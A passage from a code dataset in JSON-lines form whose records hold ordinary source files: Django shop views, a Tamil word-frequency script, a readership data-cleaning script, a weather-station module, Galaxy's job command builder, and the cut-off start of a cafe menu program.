Brand.objects.filter(mainbuyer_id=mainbuyer_id).order_by('name')\n return render(request, 'brandsajax.html', {'brands': brands})\n\ndef saveproduct(request):\n post_data = request.POST\n brand_id = post_data['id_brand']\n brand = Brand.objects.get(id=brand_id)\n\n product = Product(\n title = post_data['title'],\n brand = brand,\n description = post_data['description'],\n price = post_data['price'],\n photo = request.FILES['photo']\n )\n\n product.save()\n\n return redirect('products')\n\ndef cart(request):\n\tdata = cartData(request)\n\tcartItems = data['cartItems']\n\torder = data['order']\n\titems = data['items']\n\tcontext = {'items':items, 'order':order, 'cartItems':cartItems} \n\treturn render(request, 'cart.html', context)\n\ndef checkout(request):\n\tdata = cartData(request)\t\n\tcartItems = data['cartItems']\n\torder = data['order']\n\titems = data['items']\n\tcontext = {'items':items, 'order':order, 'cartItems':cartItems}\n\treturn render(request, 'checkout.html', context)\n\ndef updateItem(request):\n data = json.loads(request.body)\n productId = data['productId']\n action = data['action']\n\n print('Action : ', action)\n print('productId : ', productId)\n\n customer = request.user.localbuyer\n product = Product.objects.get(id=productId)\n order, created = Order.objects.get_or_create(customer=customer, complete=False)\n\n orderItem, created = OrderItems.objects.get_or_create(order=order, product=product)\n \n if action == 'add':\n orderItem.quantity = (orderItem.quantity + 1)\n elif action == 'remove':\n orderItem.quantity = (orderItem.quantity - 1)\n\n orderItem.save()\n\n if orderItem.quantity <= 0:\n orderItem.delete()\n\n return JsonResponse('Item was added', safe=False)\n\n\ndef processOrder(request):\n post_data = request.POST\n print(post_data)\n order_id = post_data['order']\n order = Order.objects.get(id=order_id)\n order.complete = True\n order.transaction_id = \"greenotexorder\"+str(order.id)\n order.save()\n\n shipping = ShippingAddress(\n address = post_data['address'],\n city = post_data['city'],\n state = post_data['state'],\n zipcode = post_data['zipcode'],\n country = post_data['country'],\n order = order,\n customer = request.user.localbuyer\n )\n\n shipping.save()\n return redirect('checkout') \n\ndef orderhistory(request):\n customer = request.user.localbuyer\n orders = Order.objects.filter(customer_id=customer.id).filter(complete=True) \n return render(request, 'orderhistory.html', {'orders': orders})\n\ndef orderdetail(request, oid):\n order = Order.objects.get(id=oid)\n orderitems = OrderItems.objects.filter(order_id=oid)\n shipping = ShippingAddress.objects.get(order_id=oid)\n return render(request, 'orderdetail.html', {'order': order, 'orderitems':orderitems, 'shipping': shipping})\n\ndef pilist(request):\n user = request.user.localbuyer\n pilist = PiList.objects.filter(user_id=user.id)\n return render(request, 'pilist.html', {'pilist': pilist})\n\ndef detailpilist(request, pid):\n pidetails = PiOrders.objects.filter(pi_id=pid)\n return render(request, 'pidetail.html', {'pidetails': pidetails})\n\ndef createpi(request):\n customer = request.user.localbuyer\n orders = Order.objects.filter(customer_id=customer.id).filter(complete=True) \n return render(request, 'picreate.html', {'orders': orders})\n\ndef savepi(request):\n post_data = request.POST\n orders = post_data.getlist('piorders')\n user = request.user.localbuyer\n pi = PiList(\n user=user\n )\n pi.save()\n pid = pi.id\n pi.transaction_id = \"greenPi\"+str(pid)\n pi.save()\n\n for order_id in orders:\n order = Order.objects.get(id=order_id)\n order.pistatus = True\n order.save()\n \n piorder = PiOrders(\n order = order,\n pi = pi\n )\n piorder.save()\n\n\n return redirect('picreate')\n","repo_name":"hmahmud01/greenotex-server","sub_path":"ecommerce/views.py","file_name":"views.py","file_ext":"py","file_size_in_byte":11796,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"62"} +{"seq_id":"6209511553","text":"# -*- coding: utf-8 -*-\n# (C) 2013 Muthiah Annamalai\n# \n# This file is part of 'open-tamil' package tests\n# \n\nimport tamil\nfrom transliterate import *\ntry:\n import bs4 #requires beautiful soup 4\nexcept ImportError as ie:\n # work with BS3\n import BeautifulSoup\n class bs4:\n BeautifulSoup = BeautifulSoup.BeautifulSoup\nfrom urllib2 import urlopen\nimport operator\n\ndef print_tamil_words( tatext ):\n taletters = tamil.utf8.get_letters(tatext)\n # raw words\n #for word in re.split(u\"\\s+\",tatext):\n # print(u\"-> \",word) \n # tamil words only\n frequency = {}\n for pos,word in enumerate(tamil.utf8.get_tamil_words(taletters)):\n print(pos, word)\n frequency[word] = 1 + frequency.get(word,0)\n #for key in frequency.keys():\n # print(u\"%s : %s\"%(frequency[key],key))\n # sort words by descending order of occurence\n for l in sorted(frequency.iteritems(), key=operator.itemgetter(1)):\n print( l[0],':',l[1])\n\ndef demo_tamil_text_filter( ):\n url = u\"http://tamil.thehindu.com/opinion/columns/%E0%AE%89%E0%AE%9F%E0%AE%A9%E0%AF%87-%E0%AE%89%E0%AE%9F%E0%AE%A9%E0%AF%87-%E0%AE%8E%E0%AE%B4%E0%AF%81%E0%AE%A4%E0%AE%BF%E0%AE%A9%E0%AE%BE%E0%AE%B2%E0%AF%8D-%E0%AE%9A%E0%AF%86%E0%AE%AF%E0%AF%8D%E0%AE%A4%E0%AE%BF%E0%AE%AA%E0%AF%8D-%E0%AE%AA%E0%AE%A4%E0%AF%8D%E0%AE%A4%E0%AE%BF%E0%AE%B0%E0%AE%BF%E0%AE%95%E0%AF%88-%E0%AE%AA%E0%AF%8B%E0%AE%B2-%E0%AE%86%E0%AE%95%E0%AE%BF%E0%AE%B5%E0%AE%BF%E0%AE%9F%E0%AF%81%E0%AE%AE%E0%AF%8D-%E0%AE%85%E0%AE%9A%E0%AF%8B%E0%AE%95%E0%AE%AE%E0%AE%BF%E0%AE%A4%E0%AF%8D%E0%AE%A4%E0%AE%BF%E0%AE%B0%E0%AE%A9%E0%AF%8D-%E0%AE%A8%E0%AF%87%E0%AE%B0%E0%AF%8D%E0%AE%95%E0%AE%BE%E0%AE%A3%E0%AE%B2%E0%AF%8D/article5615711.ece\"\n url = u\"http://ta.wikipedia.org\"\n tapage = bs4.BeautifulSoup(urlopen(url))\n tatext = tapage.body.text\n print_tamil_words( tatext )\n\nif __name__ == u\"__main__\":\n demo_tamil_text_filter()\n","repo_name":"tuxnani/open-telugu","sub_path":"examples/tafilter.py","file_name":"tafilter.py","file_ext":"py","file_size_in_byte":1903,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"62"} +{"seq_id":"7391707442","text":"#!/usr/bin/env python\n# coding: utf-8\n\n\nimport pandas as pd\nimport numpy as np\nimport os\n\n\nfolder_path = \"data/raw/gemius/\"\nfiles_csv = [folder_path + file for file in os.listdir(folder_path) if \".csv\" in file]\nfiles_xlsx = [folder_path + file for file in os.listdir(folder_path) if \".xlsx\" in file]\n\n\n# clean .csv files\ncsv_file_list = []\nfor file in files_csv:\n df = pd.read_csv(file, sep=\"delimiter\", engine=\"python\").iloc[7:, :]\n df = df.loc[: df.loc[lambda x: x[\"# Táblázat\"] == \"# Diagramm\"].index[0] - 1, :]\n df = df.rename({\"# Táblázat\": 0}, axis=1)\n df = pd.DataFrame(df[0].str.replace('\"', \"\").str.split(\",\").tolist())\n df.columns = df.iloc[0, :]\n df = df.iloc[1:, :]\n df[\"page\"] = df[\"Node\"].str.split(\"|\").str[1].str.strip().fillna(\"Internet\")\n df[\"real_users\"] = df[\"Real users\"].astype(int)\n df[\"date\"] = (\n pd.read_csv(file, sep=\"delimiter\", engine=\"python\")\n .loc[lambda x: x[\"# Táblázat\"].str.contains('\"Periódus\"')]\n .values[0][0]\n .split(\",\")[1]\n .replace('\"', \"\")\n .split(\" - \")[0]\n )\n\n df = df.filter([\"page\", \"date\", \"real_users\"])\n\n csv_file_list.append(df)\n\ndf_csv = pd.concat(csv_file_list)\n\n\n# ## clean .xslx files\n\nxlsx_file_list = []\nfor file in files_xlsx:\n df = (\n pd.read_excel(file, sheet_name=0)\n .rename({\"Media channel\": \"page\"}, axis=1)\n .assign(real_users=lambda x: x[\"Real users\"].astype(int))\n .filter([\"page\", \"real_users\"])\n .assign(\n date=pd.read_excel(file, sheet_name=1)\n .loc[lambda x: x[\"Report\"] == \"Time period\", \"Websites\"]\n .values[0]\n )\n )\n xlsx_file_list.append(df)\n\n\nmonth_map = {\n \"January\": \"01\",\n \"February\": \"02\",\n \"March\": \"03\",\n \"April\": \"04\",\n \"May\": \"05\",\n \"June\": \"06\",\n \"July\": \"07\",\n \"August\": \"08\",\n \"September\": \"09\",\n \"October\": \"10\",\n \"November\": \"11\",\n \"December\": \"12\",\n}\n\n\ndf_xlsx = (\n pd.concat(xlsx_file_list)\n .assign(\n month=lambda x: x[\"date\"].str.split(\" \").str[0].str.strip().map(month_map),\n year=lambda x: x[\"date\"].str.split(\" \").str[1].str.strip(),\n )\n .assign(date=lambda x: x[\"year\"] + \"-\" + x[\"month\"] + \"-01\")\n .filter([\"page\", \"date\", \"real_users\"])\n)\n\n\n# concat\n\ndf_clean = pd.concat([df_csv, df_xlsx]).reset_index(drop=True)\n\ndf_clean = df_clean.assign(date=lambda x: pd.to_datetime(x[\"date\"], format=\"%Y-%m-%d\"))\n\ndf_clean[\"page\"] = np.where(\n df_clean[\"page\"] == \"mno.hu\", \"magyarnemzet.hu\", df_clean[\"page\"]\n)\ndf_clean[\"page\"] = np.where(\n df_clean[\"page\"] == \"All media channels\", \"Internet\", df_clean[\"page\"]\n)\ndf_clean[\"date\"] = pd.to_datetime(df_clean[\"date\"])\ndf_clean.loc[\n lambda x: (x[\"page\"] == \"magyarnemzet.hu\")\n & ((x[\"date\"] > \"2019-02-01\") & (x[\"date\"] < \"2020-03-01\")),\n \"real_users\",\n] = None\n\n\ninternet_users = df_clean.loc[\n lambda x: x[\"page\"] == \"Internet\", [\"date\", \"real_users\"]\n].rename(columns={\"real_users\": \"internet_penetration\"})\n\n\ndf_clean = (\n df_clean.loc[lambda x: x[\"page\"] != \"Internet\"]\n .merge(internet_users, on=\"date\", how=\"left\")\n .assign(readership_perc=lambda x: x[\"real_users\"] / x[\"internet_penetration\"])\n)\n\n\ndf_clean.to_csv(\"data/clean/readership.csv\", index=False)\n","repo_name":"adamvig96/news-sharing","sub_path":"code/data-processing/readership.py","file_name":"readership.py","file_ext":"py","file_size_in_byte":3264,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"62"} +{"seq_id":"33192202149","text":"import os\r\nimport logging\r\nimport datetime\r\nimport requests\r\nimport functools\r\nimport cachetools.func\r\nfrom dataclasses import dataclass\r\nfrom typing import Mapping, Any, List\r\n\r\n\r\nlogging.basicConfig(level=logging.DEBUG)\r\nlog = logging.getLogger(__name__)\r\n\r\n\r\nKEY = os.environ.get(\"WEATHER_API_KEY\")\r\nLAT = os.environ.get(\"LAT\")\r\nLON = os.environ.get(\"LON\")\r\nif not (KEY and LAT and LON):\r\n raise Exception(\"Missing env vars!\")\r\n\r\n\r\nAPI_CACHE_TTL = 1 * 60\r\nPARAMS = f\"?lat={LAT}&lon={LON}&APPID={KEY}&units=metric\"\r\nBASE_URL = \"https://api.openweathermap.org\"\r\nDATA_ENDPOINT = f\"{BASE_URL}/data/2.5/weather{PARAMS}\"\r\nFORCAST_ENDPOINT = f\"{BASE_URL}/data/2.5/forecast{PARAMS}\"\r\n\r\n\r\n@dataclass\r\nclass WeatherReading:\r\n temp: float\r\n humidity: int\r\n pressure: int = 0\r\n temp_min: float = 0.0\r\n temp_max: float = 0.0\r\n datetime: int = 0\r\n wind_speed: int = 0.0\r\n wind_direction: str = \"N/A\"\r\n description: str = \"\"\r\n img_id: str = \"\"\r\n\r\n def __post_init__(self):\r\n self.datetime = self.date_to_str(self.datetime)\r\n self.wind_direction = self.get_cardinal_direction(self.wind_direction)\r\n\r\n def to_json(self):\r\n return {k: v for (k, v) in vars(self).items()}\r\n\r\n def date_to_str(self, epoch):\r\n dt = datetime.datetime.fromtimestamp(epoch)\r\n return dt.strftime(\"%Y-%m-%d %H:%M\")\r\n\r\n def get_cardinal_direction(self, angle):\r\n dirs = [\r\n 'N', 'NNE', 'NE', 'ENE', 'E', 'ESE', 'SE', 'SSE',\r\n 'S', 'SSW', 'SW', 'WSW', 'W', 'WNW', 'NW', 'NNW']\r\n ix = round(angle / (360. / len(dirs)))\r\n return dirs[ix % len(dirs)]\r\n\r\n\r\ndef call_api(url: str) -> Mapping[str, Any]:\r\n response = requests.get(url)\r\n log.debug(\"Api status code: %s\", response.status_code)\r\n log.debug(\"Raw api response: %s\", response)\r\n\r\n if response.status_code != 200:\r\n log.error(\"Invalid api response\")\r\n\r\n if response.status_code == 429:\r\n log.error(\"Api limit reached for free teir - 60 calls per min.\")\r\n\r\n if response.status_code == 404:\r\n log.error(\"Invalid url parameters.\")\r\n\r\n if response.status_code == 401:\r\n log.error(\"Invalid api key.\")\r\n\r\n raise Exception(response.text)\r\n\r\n data = response.json()\r\n return data\r\n\r\n\r\ndef extract_weather(data: Mapping[str, Any]) -> WeatherReading:\r\n wind_direction = \"N/A\"\r\n if \"deg\" in data[\"wind\"]:\r\n wind_direction = data[\"wind\"][\"deg\"]\r\n\r\n return WeatherReading(\r\n temp=data[\"main\"][\"temp\"],\r\n pressure=data[\"main\"][\"pressure\"],\r\n humidity=data[\"main\"][\"humidity\"],\r\n temp_max=data[\"main\"][\"temp_max\"],\r\n temp_min=data[\"main\"][\"temp_min\"],\r\n datetime=data[\"dt\"],\r\n wind_speed=data[\"wind\"][\"speed\"],\r\n wind_direction=wind_direction,\r\n description=data[\"weather\"][0][\"description\"],\r\n img_id=data[\"weather\"][0][\"icon\"],\r\n )\r\n\r\n\r\n@cachetools.func.ttl_cache(ttl=API_CACHE_TTL)\r\ndef get_weather() -> WeatherReading:\r\n log.info(\"Getting current weather\")\r\n data = call_api(DATA_ENDPOINT)\r\n data[\"dt\"] = datetime.datetime.now().timestamp()\r\n log.debug(\"Raw current weather: %s\", data)\r\n weather = extract_weather(data)\r\n return weather\r\n\r\n\r\n@cachetools.func.ttl_cache(ttl=API_CACHE_TTL)\r\ndef get_forcast() -> List[WeatherReading]:\r\n log.info(\"Getting forcast weather\")\r\n forcast_data = call_api(FORCAST_ENDPOINT)[\"list\"]\r\n log.debug(\"Raw forcast data: %s\", forcast_data)\r\n forcast_data = sorted(forcast_data, key=lambda k: int(k['dt']))\r\n forcast_weather = [extract_weather(i) for i in forcast_data]\r\n return forcast_weather\r\n\r\n\r\n@functools.lru_cache(1)\r\ndef get_bme280():\r\n import board\r\n import busio\r\n import adafruit_bme280\r\n\r\n i2c = busio.I2C(board.SCL, board.SDA)\r\n bme280 = adafruit_bme280.Adafruit_BME280_I2C(i2c)\r\n\r\n # Change this to match the location's pressure (hPa) at sea level\r\n bme280.sea_level_pressure = 1013.25\r\n bme280.mode = adafruit_bme280.MODE_NORMAL\r\n bme280.standby_period = adafruit_bme280.STANDBY_TC_500\r\n bme280.iir_filter = adafruit_bme280.IIR_FILTER_X16\r\n bme280.overscan_pressure = adafruit_bme280.OVERSCAN_X16\r\n bme280.overscan_humidity = adafruit_bme280.OVERSCAN_X1\r\n bme280.overscan_temperature = adafruit_bme280.OVERSCAN_X2\r\n\r\n return bme280\r\n\r\n\r\ndef get_indoors():\r\n log.info(\"Getting indoors weather\")\r\n\r\n if os.environ.get(\"RPI\") == \"True\":\r\n bme280 = get_bme280()\r\n\r\n temperature = round(bme280.temperature, 2)\r\n humidity = int(bme280.humidity)\r\n pressure = int(bme280.pressure)\r\n # altitude = bme280.altitude\r\n else:\r\n log.debug(\"Not using raspberry pi.\")\r\n temperature = 11.11\r\n humidity = 11\r\n pressure = 1111\r\n\r\n log.debug(f\"Raw indoors weather: {temperature}*C, {pressure}hPa, {humidity}%\")\r\n\r\n return {\r\n \"temp\": temperature,\r\n \"pressure\": pressure,\r\n \"humidity\": humidity,\r\n }\r\n","repo_name":"JohnELawson/weather-station","sub_path":"weather.py","file_name":"weather.py","file_ext":"py","file_size_in_byte":5004,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"62"} +{"seq_id":"18446243448","text":"import json\nimport typing\nfrom logging import getLogger\nfrom os import getcwd\nfrom os.path import (\n abspath,\n join,\n)\nfrom typing import Optional\n\nfrom galaxy import util\nfrom galaxy.job_execution.output_collect import default_exit_code_file\nfrom galaxy.jobs.runners.util.job_script import (\n INTEGRITY_INJECTION,\n ScriptIntegrityChecks,\n write_script,\n)\nfrom galaxy.tool_util.deps.container_classes import (\n Container,\n TRAP_KILL_CONTAINER,\n)\n\nif typing.TYPE_CHECKING:\n from galaxy.jobs import MinimalJobWrapper\n from galaxy.jobs.runners import BaseJobRunner\n\nlog = getLogger(__name__)\n\nCAPTURE_RETURN_CODE = \"return_code=$?\"\nYIELD_CAPTURED_CODE = 'sh -c \"exit $return_code\"'\nSETUP_GALAXY_FOR_METADATA = \"\"\"\n[ \"$GALAXY_VIRTUAL_ENV\" = \"None\" ] && GALAXY_VIRTUAL_ENV=\"$_GALAXY_VIRTUAL_ENV\"; _galaxy_setup_environment True\"\"\"\nPREPARE_DIRS = \"\"\"mkdir -p working outputs configs\nif [ -d _working ]; then\n rm -rf working/ outputs/ configs/; cp -R _working working; cp -R _outputs outputs; cp -R _configs configs\nelse\n cp -R working _working; cp -R outputs _outputs; cp -R configs _configs\nfi\ncd working\"\"\"\n\n\ndef build_command(\n runner: \"BaseJobRunner\",\n job_wrapper: \"MinimalJobWrapper\",\n container: Optional[Container] = None,\n modify_command_for_container: bool = True,\n include_metadata: bool = False,\n include_work_dir_outputs: bool = True,\n create_tool_working_directory: bool = True,\n remote_command_params=None,\n remote_job_directory=None,\n stream_stdout_stderr: bool = False,\n):\n \"\"\"\n Compose the sequence of commands necessary to execute a job. This will\n currently include:\n\n - environment settings corresponding to any requirement tags\n - preparing input files\n - command line taken from job wrapper\n - commands to set metadata (if include_metadata is True)\n \"\"\"\n remote_command_params = remote_command_params or {}\n shell = job_wrapper.shell\n base_command_line = job_wrapper.get_command_line()\n # job_id = job_wrapper.job_id\n # log.debug( 'Tool evaluation for job (%s) produced command-line: %s' % ( job_id, base_command_line ) )\n\n commands_builder = CommandsBuilder(base_command_line)\n\n # Dependency resolution and task splitting are prepended to the\n # command - so they need to appear in the following order to ensure that\n # the underlying application used by version command is available in the\n # environment after dependency resolution, but the task splitting command\n # is still executed in Galaxy's Python environment.\n\n # One could imagine also allowing dependencies inside of the container but\n # that is too sophisticated for a first crack at this - build your\n # containers ready to go!\n if not container or container.resolve_dependencies:\n __handle_dependency_resolution(commands_builder, job_wrapper, remote_command_params)\n\n __handle_task_splitting(commands_builder, job_wrapper)\n\n for_pulsar = \"pulsar_version\" in remote_command_params\n if (container and modify_command_for_container) or job_wrapper.commands_in_new_shell:\n if container and modify_command_for_container:\n # Many Docker containers do not have /bin/bash.\n external_command_shell = container.shell\n else:\n external_command_shell = shell\n externalized_commands = __externalize_commands(\n job_wrapper, external_command_shell, commands_builder, remote_command_params, container=container\n )\n if container and modify_command_for_container:\n # Stop now and build command before handling metadata and copying\n # working directory files back. These should always happen outside\n # of docker container - no security implications when generating\n # metadata and means no need for Galaxy to be available to container\n # and not copying workdir outputs back means on can be more restrictive\n # of where container can write to in some circumstances.\n run_in_container_command = container.containerize_command(externalized_commands)\n commands_builder = CommandsBuilder(run_in_container_command)\n else:\n commands_builder = CommandsBuilder(externalized_commands)\n\n # Galaxy writes I/O files to outputs, Pulsar uses metadata. metadata seems like\n # it should be preferred - at least if the directory exists.\n io_directory = \"../metadata\" if for_pulsar else \"../outputs\"\n commands_builder.capture_stdout_stderr(\n f\"{io_directory}/tool_stdout\", f\"{io_directory}/tool_stderr\", stream_stdout_stderr=stream_stdout_stderr\n )\n\n # Don't need to create a separate tool working directory for Pulsar\n # jobs - that is handled by Pulsar.\n if create_tool_working_directory:\n # usually working will already exist, but it will not for task\n # split jobs.\n\n # Copy working and outputs before job submission so that these can be restored on resubmission\n # xref https://github.com/galaxyproject/galaxy/issues/3289\n commands_builder.prepend_command(PREPARE_DIRS)\n\n __handle_remote_command_line_building(commands_builder, job_wrapper, for_pulsar=for_pulsar)\n\n container_monitor_command = job_wrapper.container_monitor_command(container)\n if container_monitor_command:\n commands_builder.prepend_command(container_monitor_command)\n\n working_directory = remote_job_directory or job_wrapper.working_directory\n commands_builder.capture_return_code(default_exit_code_file(working_directory, job_wrapper.job_id))\n\n if job_wrapper.is_cwl_job:\n # Minimal metadata needed by the relocate script\n cwl_metadata_params = {\n \"job_metadata\": join(\"working\", job_wrapper.tool.provided_metadata_file),\n \"job_id_tag\": job_wrapper.get_id_tag(),\n }\n cwl_metadata_params_path = join(job_wrapper.working_directory, \"cwl_params.json\")\n with open(cwl_metadata_params_path, \"w\") as f:\n json.dump(cwl_metadata_params, f)\n\n relocate_script_file = join(job_wrapper.working_directory, \"relocate_dynamic_outputs.py\")\n relocate_contents = (\n \"from galaxy_ext.cwl.handle_outputs import relocate_dynamic_outputs; relocate_dynamic_outputs()\"\n )\n write_script(relocate_script_file, relocate_contents, ScriptIntegrityChecks(check_job_script_integrity=False))\n commands_builder.append_command(SETUP_GALAXY_FOR_METADATA)\n commands_builder.append_command(f\"python '{relocate_script_file}'\")\n\n if include_work_dir_outputs:\n __handle_work_dir_outputs(commands_builder, job_wrapper, runner, remote_command_params)\n\n if include_metadata and job_wrapper.requires_setting_metadata:\n commands_builder.append_command(f\"cd '{working_directory}'\")\n __handle_metadata(commands_builder, job_wrapper, runner, remote_command_params)\n\n return commands_builder.build()\n\n\ndef __externalize_commands(\n job_wrapper: \"MinimalJobWrapper\",\n shell,\n commands_builder,\n remote_command_params,\n script_name=\"tool_script.sh\",\n container: Optional[Container] = None,\n):\n local_container_script = join(job_wrapper.working_directory, script_name)\n tool_commands = commands_builder.build()\n integrity_injection = \"\"\n # Setting shell to none in the job config disables creating a tool command script,\n # set -e doesn't work for composite commands but this is necessary for Windows jobs\n # for instance.\n if shell and shell.lower() == \"none\":\n return tool_commands\n if job_wrapper.job_io.check_job_script_integrity:\n integrity_injection = INTEGRITY_INJECTION\n set_e = \"\"\n if job_wrapper.strict_shell:\n set_e = \"set -e\\n\"\n source_command = \"\"\n if container:\n source_command = container.source_environment\n script_contents = \"#!{}\\n{}{}{}{}\".format(\n shell,\n integrity_injection,\n set_e,\n source_command,\n tool_commands,\n )\n write_script(\n local_container_script,\n script_contents,\n job_io=job_wrapper.job_io,\n )\n commands = f\"{shell} {local_container_script}\"\n # TODO: Cleanup for_pulsar hack.\n # - Integrate Pulsar sending tool_stdout/tool_stderr back\n # https://github.com/galaxyproject/pulsar/pull/202\n # *and*\n # - Get Galaxy to write these files to an output directory so the container itself\n # doesn't need to mount the job directory (rw) and then eliminate this hack\n # (or restrict to older Pulsar versions).\n # https://github.com/galaxyproject/galaxy/pull/8449\n for_pulsar = \"pulsar_version\" in remote_command_params\n if for_pulsar:\n commands = f\"{shell} {join(remote_command_params['script_directory'], script_name)}\"\n log.info(f\"Built script [{local_container_script}] for tool command [{tool_commands}]\")\n return commands\n\n\ndef __handle_remote_command_line_building(commands_builder, job_wrapper: \"MinimalJobWrapper\", for_pulsar=False):\n if job_wrapper.remote_command_line:\n sep = \"\" if for_pulsar else \"&&\"\n command = 'PYTHONPATH=\"$GALAXY_LIB:$PYTHONPATH\" python \"$GALAXY_LIB\"/galaxy/tools/remote_tool_eval.py'\n if for_pulsar:\n # TODO: that's not how to do this, pulsar doesn't execute an externalized script by default.\n # This also breaks rewriting paths etc, so it doesn't really work if there are no shared paths\n command = f\"{command} && bash ../tool_script.sh\"\n commands_builder.prepend_command(command, sep=sep)\n\n\ndef __handle_task_splitting(commands_builder, job_wrapper: \"MinimalJobWrapper\"):\n # prepend getting input files (if defined)\n prepare_input_files_cmds = getattr(job_wrapper, \"prepare_input_files_cmds\", None)\n if prepare_input_files_cmds:\n commands_builder.prepend_commands(prepare_input_files_cmds)\n\n\ndef __handle_dependency_resolution(commands_builder, job_wrapper: \"MinimalJobWrapper\", remote_command_params):\n local_dependency_resolution = remote_command_params.get(\"dependency_resolution\", \"local\") == \"local\"\n # Prepend dependency injection\n if local_dependency_resolution and job_wrapper.dependency_shell_commands:\n commands_builder.prepend_commands(job_wrapper.dependency_shell_commands)\n\n\ndef __handle_work_dir_outputs(\n commands_builder, job_wrapper: \"MinimalJobWrapper\", runner: \"BaseJobRunner\", remote_command_params\n):\n # Append commands to copy job outputs based on from_work_dir attribute.\n work_dir_outputs_kwds = {}\n if \"working_directory\" in remote_command_params:\n work_dir_outputs_kwds[\"job_working_directory\"] = remote_command_params[\"working_directory\"]\n work_dir_outputs = runner.get_work_dir_outputs(job_wrapper, **work_dir_outputs_kwds)\n if work_dir_outputs:\n copy_commands = map(__copy_if_exists_command, work_dir_outputs)\n commands_builder.append_commands(copy_commands)\n\n\ndef __handle_metadata(\n commands_builder, job_wrapper: \"MinimalJobWrapper\", runner: \"BaseJobRunner\", remote_command_params\n):\n # Append metadata setting commands, we don't want to overwrite metadata\n # that was copied over in init_meta(), as per established behavior\n metadata_kwds = remote_command_params.get(\"metadata_kwds\", {})\n exec_dir = metadata_kwds.get(\"exec_dir\", abspath(getcwd()))\n tmp_dir = metadata_kwds.get(\"tmp_dir\", job_wrapper.working_directory)\n dataset_files_path = metadata_kwds.get(\"dataset_files_path\", runner.app.model.Dataset.file_path)\n output_fnames = metadata_kwds.get(\"output_fnames\", job_wrapper.job_io.get_output_fnames())\n config_root = metadata_kwds.get(\"config_root\", None)\n config_file = metadata_kwds.get(\"config_file\", None)\n datatypes_config = metadata_kwds.get(\"datatypes_config\", None)\n compute_tmp_dir = metadata_kwds.get(\"compute_tmp_dir\", None)\n version_path = job_wrapper.job_io.version_path\n resolve_metadata_dependencies = job_wrapper.commands_in_new_shell\n metadata_command = (\n job_wrapper.setup_external_metadata(\n exec_dir=exec_dir,\n tmp_dir=tmp_dir,\n dataset_files_path=dataset_files_path,\n output_fnames=output_fnames,\n set_extension=False,\n config_root=config_root,\n config_file=config_file,\n datatypes_config=datatypes_config,\n compute_tmp_dir=compute_tmp_dir,\n compute_version_path=version_path,\n resolve_metadata_dependencies=resolve_metadata_dependencies,\n use_bin=job_wrapper.use_metadata_binary,\n kwds={\"overwrite\": False},\n )\n or \"\"\n )\n metadata_command = metadata_command.strip()\n if metadata_command:\n # Place Galaxy and its dependencies in environment for metadata regardless of tool.\n if not job_wrapper.is_cwl_job:\n commands_builder.append_command(SETUP_GALAXY_FOR_METADATA)\n commands_builder.append_command(metadata_command)\n\n\ndef __copy_if_exists_command(work_dir_output):\n source_file, destination = work_dir_output\n if \"?\" in source_file or \"*\" in source_file:\n source_file = source_file.replace(\"*\", '\"*\"').replace(\"?\", '\"?\"')\n return f'\\nif [ -f \"{source_file}\" ] ; then cp \"{source_file}\" \"{destination}\" ; fi'\n\n\nclass CommandsBuilder:\n def __init__(self, initial_command=\"\"):\n # Remove trailing semi-colon so we can start hacking up this command.\n # TODO: Refactor to compose a list and join with ';', would be more clean.\n self.raw_command = initial_command\n initial_command = util.unicodify(initial_command or \"\")\n commands = initial_command.rstrip(\"; \")\n self.commands = commands\n\n # Coping work dir outputs or setting metadata will mask return code of\n # tool command. If these are used capture the return code and ensure\n # the last thing that happens is an exit with return code.\n self.return_code_captured = False\n\n def prepend_command(self, command, sep=\";\"):\n if command:\n self.commands = f\"{command}{sep} {self.commands}\"\n return self\n\n def prepend_commands(self, commands):\n return self.prepend_command(\"; \".join(c for c in commands if c))\n\n def append_command(self, command, sep=\";\"):\n if command:\n self.commands = f\"{self.commands}{sep} {command}\"\n return self\n\n def append_commands(self, commands):\n self.append_command(\"; \".join(c for c in commands if c))\n\n def capture_stdout_stderr(self, stdout_file, stderr_file, stream_stdout_stderr=False):\n if not stream_stdout_stderr:\n self.append_command(f\"> '{stdout_file}' 2> '{stderr_file}'\", sep=\"\")\n return\n trap_command = \"\"\"trap 'rm -f \"$__out\" \"$__err\"' EXIT\"\"\"\n if TRAP_KILL_CONTAINER in self.commands:\n # We need to replace the container kill trap with one that removes the named pipes and kills the container\n self.commands = self.commands.replace(TRAP_KILL_CONTAINER, \"\")\n trap_command = \"\"\"trap 'rm -f \"$__out\" \"$__err\"; _on_exit' EXIT\"\"\"\n self.prepend_command(\n f\"\"\"__out=\"${{TMPDIR:-.}}/out.$$\" __err=\"${{TMPDIR:-.}}/err.$$\"\nmkfifo \"$__out\" \"$__err\"\n{trap_command}\ntee -a '{stdout_file}' < \"$__out\" &\ntee -a '{stderr_file}' < \"$__err\" >&2 &\"\"\",\n sep=\"\",\n )\n self.append_command('> \"$__out\" 2> \"$__err\"', sep=\"\")\n\n def capture_return_code(self, exit_code_path):\n self.append_command(CAPTURE_RETURN_CODE)\n self.append_command(f\"echo $return_code > {exit_code_path}\")\n self.return_code_captured = True\n\n def build(self):\n if self.return_code_captured:\n self.append_command(YIELD_CAPTURED_CODE)\n return self.commands\n\n\n__all__ = (\"build_command\",)\n","repo_name":"galaxyproject/galaxy","sub_path":"lib/galaxy/jobs/command_factory.py","file_name":"command_factory.py","file_ext":"py","file_size_in_byte":15823,"program_lang":"python","lang":"en","doc_type":"code","stars":1194,"dataset":"github-code","pt":"62"} +{"seq_id":"6000592608","text":"from textwrap import dedent\r\n\r\nmenu_dict = {\r\n \"Fried Tofu\": 0,\r\n \"Edamame\": 0,\r\n \"Seasoned Cucumber\": 0,\r\n \"Pickled Ginger\": 0,\r\n \"Udon Noodles\": 0,\r\n \"Mushroom Ramen\": 0,\r\n \"Nori Rolls\": 0,\r\n \"Mochi Ice Cream\": 0,\r\n \"Fluffy Pancake\": 0,\r\n \"Daifuku\": 0,\r\n \"Black Tea\": 0,\r\n \"Boba Tea\": 0,\r\n \"Coffee\": 0\r\n}\r\n\r\ngreeting = dedent(\r\n \"\"\"\r\n ****************************\r\n | Welcome to Tokyo Cafe! |\r\n ****************************\r\n \r\n to quit, type \"quit\"\r\n\r\n \"\"\"\r\n)\r\n\r\nmenu = dedent(\r\n \"\"\"\r\n ****************************\r\n | MENU 